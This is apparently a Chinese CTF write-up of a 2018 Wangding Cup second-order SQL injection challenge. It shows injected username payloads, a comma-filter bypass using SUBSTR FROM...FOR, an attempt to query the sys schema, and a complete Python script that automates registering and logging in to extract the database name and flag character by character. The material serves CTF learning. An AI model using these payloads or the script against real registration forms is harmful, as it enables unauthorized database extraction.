目录
前期准备
编辑
扫描目录
寻找注入点
构建payload:
开始注入:
寻找过滤规则
绕过过滤
构建python脚本
提交flag
总结
前期准备
这道题是2018年网鼎杯的一道题,是比较经典的一道sql二次注入的题,我们一起来看一下
扫描目录
首先进来之后发现就是一个登录框,我们肯定就先看看尝试尝试闭合,结果,就是提示我们在邮箱@之后不能添加符号,完了那就只能添加到密码里了,试一下发现也不行,最后提示用户名或者密码错误,那没办法注入啊,这时候怎么办呢,我们就只能用扫描工具试试看看这个网站还有没有其他页面了。
这里我用的是dirsearch进行扫描的,工具很多随便一个都能扫出来;扫描结果发现有用的只有logi.php和register.php,register是注册的意思,那么这应该是一个注册页面了,我们一起去看看怎么个事吧。
寻找注入点
果然是一个注册页面,那我们就注册一个用户看看吧。
注册好之后会自动跳转到登录页面,我们登上去发现我们的用户名出现在了界面上,那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了,那这就很符合二次注入的点了,我们就只能在注册的时候考虑用户名注入了,那我们就尝试构建一下payload
//注册用户
insert into tables values('$email','$username','$password')
构建payload:
那么看一下payload, 我们如果想要逃逸出闭合了那就只能跳出username了,但是这样的话这条查询语句就不对了,本来要插入三个变量,现在逃逸之后变成两个这显然行不通了,那么我们就只能考虑不去闭合,并且让我们的查询语句成功执行,这显然很好构建
insert into tables values('$email','0' +(select ascii(database())) +'0','$password')
开始注入:
那我们注册的时候就试试:
0' +(select ascii(database())) +'0
寻找过滤规则
我们发现是119,对应解出来就是“w”,很好看来我们已经注入成功了,既然这样我们就加一个截取函数取后面几位:
0'+(select ascii(substr (database(),2,1)))+'0
很明显是有东西被过滤了,跟上一次注册语句发现多了一个逗号,很明显逗号被过滤了,但是我们不知道还有啥被过滤了,所以我们使用一下burp的暴力破解模块看看都过滤了啥吧,为了方便我并没使用专门的字典去破解,我用的只是针对我们需要用到的东西进行过滤,information库是为了方便我们后续注入表名、列名,sys是当information不能使用之后查表名、列名所要用到的库。
我们发现长度为917的被过滤掉了,所以网站把“ , 和 information”过滤掉了,这个时候后续注入表名、列名的时候就要用到sys库了。
绕过过滤
现在回到我们查库名第二个字母的注入中来,我们发现逗号被过滤了,那么substr有没有不用逗号就执行的呢,显然是有的。 验证发现可以,那我们直接开始注册,注入语句如下:
0'+(select ascii(substr(database()from 2 for 1)))+'0
这次我们发现逗号成功绕过,并且第二个字母ascii编码是101,那我们就一直继续下去 这里我们发现变成0了,这就说明0 + 0 +0 =0就是查询语句没查出来,说明已经结束了,那么数据库的ascii编码就是11910198了,解码看看 这里我用了python进行解码,是为了方便后续为整个注入编写脚本
现在我们数据库注入出来了,下一步肯定就是注入表名了,information已经被过滤了,所以我们就是用sys库进行注入。注入语句如下:
先来进行表名的注入:
0'+(select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 1)+'0
结果我们发现一直注册不了,但是我在自己本机的mysql中执行却可以成功执行,这可能是这道题使用的数据库不是mysql,可能没有sys库所以导致语句执行报错,从而执行不成功。
构建python脚本
最后查询发现其他人的表名是靠猜的,那就用flag来进行flag的获取吧,构建注入语句如下:
0'+(ascii(substr((select * from flag) from 1 for 1)))+'0
但是这些都是一些重复性的工作,所以我就自己写了一个python脚本去跑,脚本代码如下:
import requests
from bs4 import BeautifulSoup
def select_database():
database= ""
for i in range(100):
data_register={
"email": "%d@qq.com" %(i),
"username": f"0'+(select ascii(substr(database()from {i+1} for 1)))+'0",
"password": "%d" %(i)
}
register=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php", data=data_register)
data_login={
"email":"%d@qq.com" %(i),
"password":"%d" %(i)
}
login=requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php", data=data_login)
html=login.text
soup=BeautifulSoup(html,'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
o = int(username)
if o == 0:
break
database += chr(int(username))
print(database)
return database
def select_flag():
flag = ""
for i in range(100):
data_register = {
"email": "%d@qqq.com" % (i),
"username": f"0'+ascii(substr((select * from flag) from {i+1} for 1))+'0",
"password": "%d" % (i)
}
register = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/register.php",
data=data_register)
data_login = {
"email": "%d@qqq.com" % (i),
"password": "%d" % (i)
}
login = requests.post(url="http://a5b133a7-b13a-4bdd-baff-74323b32b30a.node5.buuoj.cn:81/login.php",
data=data_login)
html = login.text
soup = BeautifulSoup(html, 'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
o = int(username)
if o == 0:
break
flag += chr(int(username))
print(flag)
print(select_database())
print(select_flag())
这是跑出来的flag,大家在用的时候只需要更改url即可
提交flag
flag正确,解题结束。
总结
这道题是一道很经典的二次注入题目,回顾解题过程,我们显示登录页面找不到注入点,然后开始扫描目录寻找其他注入点,找到register注册页面,注册完之后登录发现出现了用户名,那我们就考虑注入点是不是在username,开始注入发现结果是0,所以我们就想着用转ascii码等方式来注入,很明显这种方法是正确的,然后information被过滤,我们就尝试用sys来注入表名,但是并没有成功,可能应为不是MySQL所以没有成功,官方也没有放源码出来,所以我们就猜测表名是flag,然后编写python脚本,最后解出flag,还有一种解法就是用16进制来解,原理都是一样的,但是16进制会在回显用户名的时候讲字母截断,所以我们就用两次16进制,然后通过截取函数也可以解题,原理都是一样的。